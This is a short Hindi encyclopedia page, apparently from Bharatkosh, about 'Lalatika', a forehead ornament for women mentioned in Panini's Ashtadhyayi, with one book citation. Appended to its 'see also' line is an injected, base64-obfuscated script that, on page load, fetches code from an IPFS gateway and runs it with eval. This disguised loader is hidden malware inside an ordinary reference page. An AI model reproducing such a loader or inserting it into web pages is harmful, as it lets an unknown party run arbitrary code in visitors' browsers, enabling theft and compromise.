एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

ललाटिका

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

ललाटिका नामक एक अलंकरण का उल्लेख पाणिनि की 'अष्टाध्यायी' में हुआ है।

  • 'अष्टाध्यायी' में स्त्रियों के प्रसाधन और अलंकरण की सामग्री का भी उल्लेख पाया जाता है। माथे पर पहनने वाले अलंकरण को ‘ललाटिका’ कहा जाता था।[1]


इन्हें भी देखें: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 103 |

संबंधित लेख